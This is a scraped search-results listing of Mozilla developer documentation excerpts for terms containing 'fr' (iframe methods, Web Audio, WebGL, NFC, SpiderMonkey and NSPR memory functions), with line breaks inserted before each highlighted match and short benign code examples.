fromspec returns a pointer to newly created function.
... see also mxr id search for js::newfunction
fromspec js_definefunctions bug 1054756 - added ...
JS_ErrorFromException
get or create jserrorreport
from an exception object.
... syntax jserrorreport * js_error
fromexception(jscontext *cx, js::handleobject obj); name type description cx jscontext * pointer to a js context whose errors should be reported via your function.
... description if obj is an exception object, the exception will have (or be able to lazily create) an error report struct, and js_error
fromexception will return the address of that struct.
... see also mxr id search for js_error
fromexception jserrorreport ...
JS_GetDefaultFreeOp
this article covers features introduced in spidermonkey 17 return default js
freeop for the runtime.
... syntax js
freeop * js_getdefault
freeop(jsruntime *rt); name type description rt jsruntime * a pointer to the runtime.
... description js_getdefault
freeop returns default js
freeop for the runtime.
... see also mxr id search for js_getdefault
freeop js_
freeop js
freeop bug 737365 ...
nsIFrameMessageListener
content/base/public/nsimessagemanager.idlscriptable implement this interface in a remote
frame handling process to receive messages
from the browser process.
... 1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is used when implementing out-of-process handling of
frames; the process handling a
frame should implement this interface in order to receive messages.
...called to deliver a message to the
frame handling process; called with one parameter, which has the following properties: name the name of the message.
...see also content process event handling nsi
framelistener ...
Tips and Tricks from the newsgroups
please feel
free to add links to threads.
...you can also help by creating how-tos
from any of these topics.
... extensions load an extension in its own tab run shell scripts
from an extension (for example, to create a symlink) get extension metadata call java
from thunderbird extensions (also an example here, written for firefox but compatible with thunderbird 3.x) define a custom protocol handler to call an external program save attachment and send it repeat image display using css sprites messages use reminderfox to open a message in the default thunderbird message window (when messageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without s...
...electing message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages
from getting garbled during message retrieval ...
BiquadFilterNode.frequency - Web APIs
the
frequency property of the biquadfilternode interface is a k-rate audioparam, a double representing a
frequency in the current filtering algorithm measured in hertz (hz).
...
frequency's default value is 350 with a nominal range of 10 to the nyquist
frequency — that is, half of the sample rate.
... syntax var audioctx = new audiocontext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.
frequency.value = 3000; note: though the audioparam returned is read-only, the value it represents is not.
...; var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.
frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of '
frequency' in that specification.
DOMPoint.fromPoint() - Web APIs
the static dompoint method
frompoint() creates and returns a new mutable dompoint object given a source point.
... syntax var point = dompoint.
frompoint(sourcepoint); properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly,
from which to take the values of the new point's properties.
... examples creating a mutable point
from a read-only point if you have a dompointreadonly object, you can easily create a mutable copy of that point: var mutablepoint = dompoint.
frompoint(readonlypoint); creating a 2d point this sample creates a 2d point, specifying an inline object that includes the values to use for x and y.
... var center = dompoint.
frompoint({x: 75, y: -50, z: -55, w: 0.25}); specifications specification status comment geometry interfaces module level 1the definition of '
frompoint()' in that specification.
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
the caretposition
frompoint() property of the documentorshadowroot interface returns a caretposition object, containing the dom node, along with the caret and caret's character offset within that node.
... syntax var caretposition = document.caretposition
frompoint(float x, float y); parameters x the horizontal coordinate of a point.
...stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> javascript content function insertbreakatpoint(e) { var range; var textnode; var offset; if (document.caretposition
frompoint) { range = document.caretposition
frompoint(e.clientx, e.clienty); textnode = range.offsetnode; offset = range.offset; } else if (document.caretrange
frompoint) { range = document.caretrange
frompoint(e.clientx, e.clienty); textnode = range.startcontainer; offset = range.startoffset; } // only split text_nodes if (textnode.nodetype == 3) { var replacement ...
...xtnode.parentnode.insertbefore(br, replacement); } } window.onload = function (){ var paragraphs = document.getelementsbytagname("p"); for (i=0 ; i < paragraphs.length; i++) { paragraphs[i].addeventlistener("click", insertbreakatpoint, false); } }; specifications specification status comment css object model (cssom) view modulethe definition of 'caretposition
frompoint()' in that specification.
HTMLIFrameElement.contentWindow - Web APIs
the contentwindow property returns the window object of an htmli
frameelement.
... you can use this window object to access the i
frame's document and its internal dom.
... example of contentwindow var x = document.getelementsbytagname("i
frame")[0].contentwindow; //x = window.
frames[0]; x.document.getelementsbytagname("body")[0].style.backgroundcolor = "blue"; // this would turn the 1st i
frame in document blue.
... specifications specification status comment html living standardthe definition of 'htmli
frameelement: contentwindow' in that specification.
NDEFReader() - Web APIs
the nde
freader() constructor of the web nfc api returns a newly constructed nde
freader object used to read ndef messages
from compatiable nfc devices, e.g.
... syntax writer = new nde
freader(); parameters none.
... return value a new nde
freader.
... specifications specification status comment web nfc, nde
freader draft initial definition.
NDEFReader.scan() - Web APIs
the scan() method of nde
freader interface reads ndef records
from compatible nfc devices, e.g., ndef nfc tags.
... syntax var readerpromise = nde
freader.scan(options); parameters options optional id -- the match pattern for matching each nde
frecord.id.
... recordtype -- the match pattern for matching each nde
frecord.recordtype.
... mediatype -- the match pattern for matching each nde
frecord.mediatype.
NDEFRecord() - Web APIs
the nde
frecord() constructor of the web nfc api returns a newly constructed nde
frecord object that represents data that can be read
from or written to compatible nfc devices, e.g.
... syntax writer = new nde
frecord(nde
frecordinit); parameters nde
frecordinit read only nde
frecordinit with initialization data.
... return value a new nde
frecord.
... specifications specification status comment web nfc, nde
frecord draft initial definition.
NDEFRecord.recordType - Web APIs
the recordtype property ofthe nde
frecord interface is usvstring containing the ndef record type.
... syntax nde
frecord.recordtype value a usvstring which can be one of the following: "empty" represents a empty ndef record.
... local type name represents a local type name,
frequently used to specify ndef record embedded within another record.
... specifications specification status comment web nfc, nde
frecord.recordtype draft initial definition.
RTCIceParameters.usernameFragment - Web APIs
the rtciceparameters dictionary's username
fragment property specifies the username
fragment ("u
frag") that uniquely identifies the corresponding ice session for the duration of the current ice session.
... syntax u
frag = rtciceparameters.username
fragment; value a domstring containing the username
fragment that, in tandem with the password, uniquely identify the ice session being used by the transport.
... see rtcicecandidate.username
fragment to learn more about username
fragments and their role in a connection.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.username
fragment' in that specification.
RTCInboundRtpStreamStats.framesDecoded - Web APIs
the
framesdecoded property of the rtcinboundrtpstreamstats dictionary indicates the total number of
frames which have been decoded successfully for this media source.
... syntax var
framesdecoded = rtcinboundrtpstreamstats.
framesdecoded; value an integer value indicating the total number of video
frames which have been decoded for this stream so far.
... this represents the number of
frames that would have been displayed assuming no
frames were skipped.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.
framesdecoded' in that specification.
Selection.deleteFromDocument() - Web APIs
the delete
fromdocument() method of the selection interface deletes the selected text
from the document's dom.
... syntax sel.delete
fromdocument() parameters none.
...upon clicking the button, the window.getselection() method gets the selected text, and the delete
fromdocument() method removes it.
...once you do, you can remove the selected content by clicking the button below.</p> <button>delete selected text</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', deleteselection); function deleteselection() { let selection = window.getselection(); selection.delete
fromdocument(); } result specifications specification status comment selection apithe definition of 'selection.delete
fromdocument()' in that specification.
SpeechGrammarList.addFromURI() - Web APIs
the add
fromuri() method of the speechgrammarlist interface takes a grammar present at a specific uri and adds it to the speechgrammarlist as a new speechgrammar object.
... syntax speechgrammarlistinstance.add
fromuri(src,weight); returns void.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.add
fromuri('http://www.example.com/grammar.txt'); // adds a second grammar to the list.
... specifications specification status comment web speech apithe definition of 'add
fromuri()' in that specification.
WebGL2RenderingContext.blitFramebuffer() - Web APIs
the webgl2renderingcontext.blit
framebuffer() method of the webgl 2 api transfers a block of pixels
from the read
framebuffer to the draw
framebuffer.
... syntax void gl.blit
framebuffer(srcx0, srcy0, srcx1, srcy1, dstx0, dsty0, dstx1, dsty1, mask, filter); parameters srcx0, srcy0, srcx1, srcy1 a glint specifying the bounds of the source rectangle.
... examples gl.blit
framebuffer(0, 0, canvas.width, canvas.height, 0, 0, canvas.width, canvas.height, gl.color_buffer_bit, gl.nearest); specifications specification status comment webgl 2.0the definition of 'blit
framebuffer' in that specification.
... opengl es 3.0the definition of 'glblit
framebuffer' in that specification.
WebGL2RenderingContext.getFragDataLocation() - Web APIs
the webgl2renderingcontext.get
fragdatalocation() method of the webgl 2 api returns the binding of color numbers to user-defined varying out variables.
... syntax glint gl.get
fragdatalocation(program, name); parameters program a webglprogram to query.
... examples // program is a linked webglprogram gl.get
fragdatalocation(program, '
fragcolor'); specifications specification status comment webgl 2.0the definition of 'get
fragdatalocation' in that specification.
... opengl es 3.0the definition of 'glget
fragdatalocation' in that specification.
WebGLRenderingContext.frontFace() - Web APIs
the webglrenderingcontext.
frontface() method of the webgl api specifies whether polygons are
front- or back-facing by setting a winding orientation.
... syntax void gl.
frontface(mode); parameters mode a glenum type winding orientation.
... examples gl.
frontface(gl.cw); specifications specification status comment webgl 1.0the definition of '
frontface' in that specification.
... opengl es 2.0the definition of 'gl
frontface' in that specification.
Migrating from webkitAudioContext - Web APIs
as the specification evolved and changes were made to the spec, some of the old implementation pieces were not removed
from the webkit (and blink) implementations due to backwards compatibility reasons.
... removal of audiocontext.activesourcecount the activesourcecount attribute has been removed
from audiocontext.
... = context.createoscillator(); var table = context.createwavetable(realarray, imaginaryarray); osc.setwavetable(table); // new standard audiocontext code: var osc = context.createoscillator(); var table = context.createperiodicwave(realarray, imaginaryarray); osc.setperiodicwave(table); removal of some of the audioparam read-only attributes the following read-only attributes have been removed
from audioparam: name, units, minvalue, and maxvalue.
... you can simply track where the audioparam object is coming
from in your code if you need this information.
window.cancelAnimationFrame() - Web APIs
the window.cancelanimation
frame() method cancels an animation
frame request previously scheduled through a call to window.requestanimation
frame().
... syntax window.cancelanimation
frame(requestid); parameters requestid the id value returned by the call to window.requestanimation
frame() that requested the callback.
... examples var requestanimation
frame = window.requestanimation
frame || window.mozrequestanimation
frame || window.webkitrequestanimation
frame || window.msrequestanimation
frame; var cancelanimation
frame = window.cancelanimation
frame || window.mozcancelanimation
frame; var start = window.mozanimationstarttime; // only supported in ff.
... var myreq; function step(timestamp) { var progress = timestamp - start; d.style.left = math.min(progress / 10, 200) + 'px'; if (progress < 2000) { // it's important to update the requestid each time you're calling requestanimation
frame myreq = requestanimation
frame(step); } } myreq = requestanimation
frame(step); // the cancelation uses the last requestid cancelanimation
frame(myreq); specifications specification status comment html living standardthe definition of 'cancelanimation
frame()' in that specification.
Window.frameElement - Web APIs
the window.
frameelement property returns the element (such as <i
frame> or <object>) in which the window is embedded.
... note: despite this property's name, it works for documents embedded within any embedding point, including <object>, <i
frame>, or <embed>.
... syntax const
frameel = window.
frameelement value the element which the window is embedded into.
... example const
frameel = window.
frameelement; // if we're embedded, change the containing element's url to 'http://mozilla.org/' if (
frameel) {
frameel.src = 'http://mozilla.org/'; } specifications specification status comment html living standardthe definition of 'window.
frameelement' in that specification.
XRFrameRequestCallback - Web APIs
the xr
framerequestcallback is a callback function passed into xrsession.requestanimation
frame (part of webxr api) to obtain the current time and the current xr
frame.
... syntax function xr
framerequestcallback(time, xr
frame){ // process xr
frame here } xrsession.requestanimation
frame(xr
framerequestcallback) parameters domhighrestimestamp a timestamp corresponding to the returned xr
frame.
... xr
frame an xr
frame representing a snapshot of the state of all of the tracked objects for the xrsession.
... specifications specification status comment webxr device apithe definition of 'xr
framerequestcallback' in that specification.
CSS Fragmentation - CSS: Cascading Style Sheets
css
fragmentation is a module of css that defines how content is displayed when it is broken (
fragmented) across multiple pages, regions, or columns.
...
fragmentation occurs when an inline box wraps onto multiple lines.
...each piece of the rendering for the element is called a
fragment.
... reference box-decoration-break break-after break-before break-inside orphans widows specifications specification status comment css
fragmentation module level 3 candidate recommendation initial definition.
Atomics.isLockFree() - JavaScript
the static atomics.islock
free() method is used to determine whether to use locks or atomic operations.
... syntax atomics.islock
free(size) parameters size the size in bytes to check.
... return value a boolean indicating whether the operation is lock
free.
... examples using islock
free atomics.islock
free(1); // true atomics.islock
free(2); // true atomics.islock
free(3); // false atomics.islock
free(4); // true atomics.islock
free(5); // false atomics.islock
free(6); // false atomics.islock
free(7); // false atomics.islock
free(8); // true specifications specification ecmascript (ecma-262)the definition of 'atomics.islock
free' in that specification.
fr - SVG: Scalable Vector Graphics
the
fr attribute defines the radius of the focal point for the radial gradient.
... only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35"
fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35"
fr="25%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="100" fill="url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage...
... notes value <length> default value 0 animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35"
fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-fam...
...ily="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of '
fr' in that specification.
Examples and demos from articles - Archive of obsolete content
what follows is a brief list of examples and demos
from our theoretical articles.
...[article] code snippets and tutorials javascript complete cookies reader/writer with full unicode support this little
framework consists of a complete cookies reader/writer with unicode support.
... a shortcut to massively modify the dom this example shows how to create a
framework able to modify many properties of dom objects at the same time.
Installing Extensions and Themes From Web Pages - Archive of obsolete content
there are a variety of ways you can install extensions and themes
from web pages, including direct linking to the xpi files and using the installtrigger object.
...if you omit this step, the user may see two installation dialogs—since you've effectively invoked two install requests, one
from the installtrigger, one
from trying to load the xpi file directly.
... (* by all means don't let this stop you
from developing more ambitious install systems, i am providing this documentation only as a guide that i hope most extension distributors will use since it handles most cases well) ...
NPN_MemFree - Archive of obsolete content
syntax #include <npapi.h> void npn_mem
free (void* ptr); parameters the function has the following parameters: ptr block of memory previously allocated using npn_memalloc.
... description npn_mem
free deallocates a block of memory that was allocated using npn_memalloc only.
... npn_mem
free does not
free memory allocated by any other means.
DTMF (Dual-Tone Multi-Frequency signaling) - MDN Web Docs Glossary: Definitions of Web-related terms
dual-tone multi-
frequency (dtmf) signaling is a system by which audible tones are used to represent buttons being pressed on a keypad.
...
frequently referred to in the united states as "touch tone" (after the touch-tone trademark used when the transition
from pulse dialing to dtmf began), dtmf makes it possible to signal the digits 0-9 as well as the letters "a" through "d" and the symbols "#" and "*".
... learn moreedit general knowledge dual-tone multi-
frequency signaling on wikipedia pulse dialing on wikipedia ...
Security best practices for Firefox front-end engineers
this article will help firefox developers understand the security controls in place and avoid common pitfalls when developing
front-end code for firefox.
... existing security controls sanitizing all strings that enter the dom through apis such as innerhtml when running system-privileged chrome code, we sanitize all html
fragments that are created for chrome-privileged documents.
... appendix list of disallowed dom apis innerhtml outerhtml insertadjacenthtml() createcontextual
fragment() document.write() document.writeln() please take a look at the repository for an updated list ...
HTMLIFrameElement.addNextPaintListener()
the addnextpaintlistener() method of the htmli
frameelement is used to define a handler to listen for the next mozafterpaint event coming
from the browser <i
frame>.
... syntax instanceofhtmli
frameelement.addnextpaintlistener(listener); returns void.
... examples var browser = document.queryselector('i
frame'); function onnextpaint() { console.log("paint has occured"); } browser.addnextpaintlistener(onnextpaint); specification not part of any specification.
HTMLIFrameElement.clearMatch()
the clearmatch() method of the htmli
frameelement clears any content highlighted by findall() or findnext().
... syntax instanceofhtmli
frameelement.clearmatch(); returns void.
... examples the following function is taken
from our browser api demo, and (amongst other things) clears the search results when the search bar is hidden, if an existing search is active.
HTMLIFrameElement.download()
the download() method of the htmli
frameelement interface downloads a specified url, storing it at /sdcard/download.
... syntax var instanceofdomrequest = instanceofhtmli
frameelement.download(url, options); returns a domrequest for handling the download request.
... examples var browser = document.queryselector('i
frame'); var request = browser.download(foourl, { filename: 'foo.bin' }); request.onsuccess = function() { console.log("file downladed"); } request.onerror = function() { console.log("download error"); } specification not part of any specification.
HTMLIFrameElement.findNext()
the findnext() method of the htmli
frameelement highlights the next or previous instance of a search result after a findall() search has been carried out.
... syntax instanceofhtmli
frameelement.findnext(direction); return value void.
... examples the following functions are taken
from our browser api demo, and cycle through the available search results.
HTMLIFrameElement.getActive()
the getactive() method of the htmli
frameelement indicates whether the current browser <i
frame> is the currently active
frame.
... syntax var amiactive = instanceofhtmli
frameelement.getactive(); returns a boolean indicating whether the current browser <i
frame> is the currently active
frame (true) or not (false.) parameters none.
... example var browser = document.queryselector('i
frame'); var amiactive = browser.getactive(); specification not part of any specification.
HTMLIFrameElement.getContentDimensions()
the getcontentdimensions() method of the htmli
frameelement interface retrieves the x and y dimensions of the content window.
... syntax var instanceofdomrequest = instanceofhtmli
frameelement.getcontentdimensions(); returns a domrequest for handling the dimensions request.
... examples var browser = document.queryselector('i
frame'); var request = browser.getcontentdimensions(); request.onsuccess = function() { console.log("page size:", request.result.width + "x" + request.result.height); } request.onerror = function() { console.log("download error"); } specification not part of any specification.
HTMLIFrameElement.getManifest()
the getmanifest() method of the htmli
frameelement interface retrieves the manifest of an app loaded in the browser <i
frame> and returns it as json.
... syntax instanceofhtmli
frameelement.getmanifest().then(function(json) { ...
... examples var browser = document.queryselector('i
frame'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getmanifest().then(function(json) { console.log(json); }); }); specification not part of any specification.
HTMLIFrameElement.getMuted()
the getmuted() method of the htmli
frameelement indicates whether the browser <i
frame> is currently muted.
... syntax there are two versions of this method, a callback version: var request = instanceofhtmli
frameelement.getmuted(); and a promise version: instanceofhtmli
frameelement.getmuted().then(function(muted) { ...
... example callback version: var browser = document.queryselector('i
frame'); var request = browser.getmuted(); request.onsuccess = function() { if(request.result) { console.log('the browser is muted.'); } else { console.log('the browser is unmuted.'); } } promise version: var browser = document.queryselector('i
frame'); browser.getmuted().then(function(muted) { if(muted) { console.log('the browser is muted.'); } else { console.log('the...
HTMLIFrameElement.getStructuredData()
the getstructureddata() method of the htmli
frameelement interface retrieves any structured microdata (and hcard and hcalendar microformat data) contained in the html loaded in the browser <i
frame> and returns it as json.
... syntax var instanceofdomrequest = instanceofhtmli
frameelement.getstructureddata(); returns a domrequest to handle the getstructureddata() request's success and error cases.
... examples var browser = document.queryselector('i
frame'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getstructureddata(); request.onsuccess = function() { console.log(request.result); } }); running this code in a browser api app and then loading up a page that contains microdata (such as the website of british alt-country band salter cane) will result in a json object being returned, along the lines of: { "items": [ { "type":["http://microformats.org/profile/hcard"], "properties":{"fn":["chris askew"], "n":[ { "properties": ...
HTMLIFrameElement.getVolume()
the getvolume() method of the htmli
frameelement gets the current volume of the browser <i
frame>.
... syntax there are two versions of this method, a callback version: var request = instanceofhtmli
frameelement.getvolume(); and a promise version: instanceofhtmli
frameelement.getvolume().then(function(volume) { ...
... example callback version: var browser = document.queryselector('i
frame'); var request = browser.getvolume(); request.onsuccess = function() { console.log('the current browser volume is ' + request.result); } promise version: var browser = document.queryselector('i
frame'); browser.getvolume().then(function(volume) { console.log('the current browser volume is ' + volume); }); specification not part of any specification.
HTMLIFrameElement.goBack()
the goback() method of the htmli
frameelement interface is used to navigate backwards in the browser <i
frame>'s history.
... by calling this method, the browser <i
frame> changes its location for the previous location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on.
... syntax instanceofhtmli
frameelement.goback(); returns void.
HTMLIFrameElement.goForward()
the goforward() method of the htmli
frameelement is used to navigate forward in the browser <i
frame>'s history.
... by calling this method, the browser <i
frame> changes its location to the next location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart and so on.
... syntax instanceofhtmli
frameelement.goforward(); returns void.
HTMLIFrameElement.mute()
the mute() method of the htmli
frameelement mute any audio playing in the browser <i
frame>.
... syntax instanceofhtmli
frameelement.mute(); returns void.
... example var browser = document.queryselector('i
frame'); browser.mute(); specification not in a specification.
HTMLIFrameElement.purgeHistory()
the purgehistory() method of the htmli
frameelement interface is used to clear the browsing history associated with the browser <i
frame>.
... syntax there is a domrequest version and a promise version: var mydomrequest = instanceofhtmli
frameelement.purgehistory(); instanceofhtmli
frameelement.purgehistory().then(function() { ...
... examples domrequest: var browser = document.queryselector('i
frame'); var request = browser.purgehistory(); request.onsuccess = function() { console.log('history deleted!'); } request.onerror = function() { console.error(this.error.name); } promise: var browser = document.queryselector('i
frame'); browser.purgehistory().then(function() { console.log('history deleted!'); }, function(error) { console.error(this.error.name); }); specification not part of any specification.
HTMLIFrameElement.reload()
the reload() method of the htmli
frameelement interface is used to reload the content of the <i
frame>.
... syntax instanceofhtmli
frameelement.reload(hardreload); returns void.
... parameters hardreload optional a boolean that indicates whether all the resources to reload must be revalidated (true) or may be taken directly
from the browser cache (false).
HTMLIframeElement.removeNextPaintListener()
the removenextpaintlistener() method of the htmli
frameelement interface is used to remove a handler previously set with the addnextpaintlistener method.
... syntax instanceofhtmli
frameelement.removenextpaintlistener(listener); returns void.
... examples var browser = document.queryselector('i
frame'); function onnextpaint() { console.log("paint has occured"); } browser.addnextpaintlistener(onnextpaint); browser.removenextpaintlistener(onnextpaint); specification not part of any specification.
HTMLIFrameElement.setVolume()
the setvolume() method of the htmli
frameelement sets the current volume of the browser <i
frame>.
... syntax instanceofhtmli
frameelement.setvolume(number); returns void.
... example var browser = document.queryselector('i
frame'); browser.setvolume(0.5); specification not part of any specification.
HTMLIFrameElement.unmute()
the unmute() method of the htmli
frameelement unmutes any audio playing in the browser <i
frame>.
... syntax instanceofhtmli
frameelement.unmute(); returns void.
... example var browser = document.queryselector('i
frame'); browser.unmute(); specification not part of any specification.
HTMLIFrameElement.zoom()
the zoom() method of the htmli
frameelement interface changes the zoom factor of the browser <i
frame>'s content.
... syntax var instanceofdomrequest = instanceofhtmli
frameelement.zoom(zoomfactor); returns void.
... examples var browser = document.queryselector('i
frame'); var zoomfactor = 1; zoomin.addeventlistener('touchend',function() { zoomfactor += 0.1; browser.zoom(zoomfactor); }); zoomout.addeventlistener('touchend',function() { zoomfactor -= 0.1; browser.zoom(zoomfactor); }); specification not part of any specification.
Uplifting a localization from Central to Aurora
here some tips and tricks for syncing up both l10n-central and releases/l10n/mozilla-aurora at the same time en-us goes
from central to aurora.
... you want to have a repo
from which you can uplift to aurora shortly after the migration.
...all you need to do is to push
from your l10n-central clone to your aurora repo.
Mozilla Framework Based on Templates (MFBT)
the mozilla
framework based on templates ("mfbt") is the central repository for macros, functions, and data structures used throughout mozilla code, including in the javascript engine.
...feel
free to file bugs to add new functionality to it, or to move existing functionality into it, as needed.
...feel
free to file a documentation bug if you think this approach could be improved, and feel
free to make improvements to this document if you see them.
PR_Free
frees allocated memory in the heap.
... syntax #include <prmem.h> void pr_
free(void *ptr); parameter ptr a pointer to the memory to be
freed.
... description this function
frees the memory addressed by ptr in the heap.
PR_ImportFileMapFromString
creates a prfilemap
from an identifying string.
... syntax #include <prshma.h> nspr_api( prfilemap * ) pr_importfilemap
fromstring( const char *fmstring ); parameter the function has the following parameter: fmstring a pointer to string created by pr_exportfilemapasstring.
... description pr_importfilemap
fromstring creates a prfilemap object
from a string previously created by pr_exportfilemapasstring.
JSFreeOp
syntax js
freeop(jsruntime *rt); name type description rt jsruntime * a runtime to store in this structure.
... description various finalization api takes not jscontext * but rather either js
freeop structure or its library-private counterpart
freeop.
... see also mxr id search for js
freeop js_
freeop js_getdefault
freeop jsfinalizecallback jsdestroycompartmentcallback bug 737365 ...
NS_Free
« xpcom api reference summary
frees a block of memory using the xpcom memory manager.
... #include "nsxpcom.h" void ns_
free( void* aptr ); parameters aptr [in] a pointer to the block of memory to
free.
...it is equivalent to calling
free on the nsimemory instance returned
from ns_getmemorymanager.
nsIInProcessContentFrameMessageManager
content/base/public/nsi
framemessagemanager.idlnot scriptable ???
... 1.0 66 introduced gecko 2.0 inherits
from: nsicontent
framemessagemanager last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsicontent getownercontent(); violates the xpcom interface guidelines methods violates the xpcom interface guidelines getownercontent() nsicontent getownercontent(); parameters none.
...see also content process event handling nsicontent
framemessagemanager ...
Working with iframes - Firefox Developer Tools
you can point the developer tools at a specific i
frame within a document.
... you'll see a button in the toolbar: click it, and you'll see a popup listing all the i
frames in the document, as well as the main document itself.
... if you select an entry in the list, all the tools in the toolbox - the inspector, the console, the debugger and so on - will now target only that i
frame, and will essentially behave as if the rest of the page does not exist.
Document.caretRangeFromPoint() - Web APIs
the caretrange
frompoint() method of the document interface returns a range object for the document
fragment under the specified coordinates.
... syntax var range = document.caretrange
frompoint(float x, float y); parameters x a horizontal position within the current viewport.
...stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> javascript function insertbreakatpoint(e) { let range; let textnode; let offset; if (document.caretposition
frompoint) { range = document.caretposition
frompoint(e.clientx, e.clienty); textnode = range.offsetnode; offset = range.offset; } else if (document.caretrange
frompoint) { range = document.caretrange
frompoint(e.clientx, e.clienty); textnode = range.startcontainer; offset = range.startoffset; } // only split text_nodes if (textnode && textnode.nodetype == 3) { let r...
DocumentFragment.querySelectorAll() - Web APIs
the document
fragment.queryselectorall() method returns a nodelist of elements within the document
fragment (using depth-first pre-order traversal of the document's nodes) that matches the specified group of selectors.
... syntax elementlist = document
fragment.queryselectorall(selectors); parameters selectors is a domstring containing one or more css selectors separated by commas.
... examples this example returns a list of all div elements within the document
fragment with a class of either "note" or "alert": var matches = document
frag.queryselectorall("div.note, div.alert"); specifications specification status comment selectors api level 1the definition of 'document
fragment.queryselectorall' in that specification.
DocumentOrShadowRoot.nodeFromPoint() - Web APIs
the node
frompoint() property of the documentorshadowroot interface returns the topmost node at the specified coordinates (relative to the viewport).
... syntax var node = document.node
frompoint(x, y); parameters x a double representing the horizontal coordinate of a point.
... examples html content <div> <p>some text</p> </div> <p>top node at point 30, 20:</p> <div id="output"></div> javascript content var output = document.getelementbyid("output"); if (document.node
frompoint) { var node = document.node
frompoint(30, 20); output.textcontent += node.localname; } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.node
frompoint()</code>" + "</span>"; } specifications not part of any specification at present.
DocumentOrShadowRoot.nodesFromPoint() - Web APIs
the nodes
frompoint() property of the documentorshadowroot interface returns an array of all nodes at the specified coordinates (relative to the viewport).
... syntax var nodes = document.nodes
frompoint(x, y); parameters x the horizontal coordinate of a point.
... example html content <div> <p>some text</p> </div> <p>nodes at point 30, 20:</p> <div id="output"></div> javascript content var output = document.getelementbyid("output"); if (document.nodes
frompoint) { var nodes = document.nodes
frompoint(30, 20); for(var i = 0; i < nodes.length; i++) { output.textcontent += nodes[i].localname; if (i < nodes.length - 1) { output.textcontent += " < "; } } } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.nodes
frompoint()</code>" + "</span>"; } specifications not part of any specification at present.
HTMLIFrameElement.csp - Web APIs
the csp property of the htmli
frameelement interface specifies the content security policy that an embedded document must agree to enforce upon itself.
... syntax var csp = htmli
frameelement.csp htmli
frameelement.csp = csp value a content security policy.
... browser compatibility the compatibility table on this page is generated
from structured data.
HTMLIFrameElement.setNfcFocus() - Web APIs
the setnfcfocus() method of the htmli
frameelement interface sets whether an <i
frame> can receive an nfc event.
... syntax myi
frame.setnfcfocus(true); returns void.
... parameters a boolean indicating whether the <i
frame> can receive an nfc event.
HTMLIFrameElement.src - Web APIs
the htmli
frameelement.src property reflects the html referrerpolicy attribute of the <i
frame> element defining which referrer is sent when fetching the resource.
... syntax refstr = i
frameelt.src; i
frameelt.src= refstr; example var i
frame = document.createelement("i
frame"); i
frame.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(i
frame); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmli
frameelement: src' in that specification.
... living standard browser compatibility the compatibility table on this page is generated
from structured data.
HTMLTableElement.frame - Web APIs
the htmltableelement interface's
frame property is a string that indicates which of the table's exterior borders should be drawn.
... syntax htmltableelement.
frame =
framesides; var
framesides = htmltableelement.
frame; parameters
framesides is a string whose value is one of the following values: void no sides.
